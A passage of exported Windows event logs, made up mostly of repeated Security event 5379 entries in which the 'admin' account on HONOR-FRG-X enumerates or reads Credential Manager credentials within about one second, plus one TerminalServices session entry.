Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.073\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.073\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.073\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.074\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.074\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.074\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.074\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.074\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.074\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.075\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.075\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.075\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.075\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.279\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.280\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.281\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.281\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.282\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x2208 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:52:57.283\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.699\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.699\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.700\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.700\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.700\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.700\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.700\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.700\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.701\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.701\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.701\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.701\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.701\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.701\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.702\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.702\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tRead Credential\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.706\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.706\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.706\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.707\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.707\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.707\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.707\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.707\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.707\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.708\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.708\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.708\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.708\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.712\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.713\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.713\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.713\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.713\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.713\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.713\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.713\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.714\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.714\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.714\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.714\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.714\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.715\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.716\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.734\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount 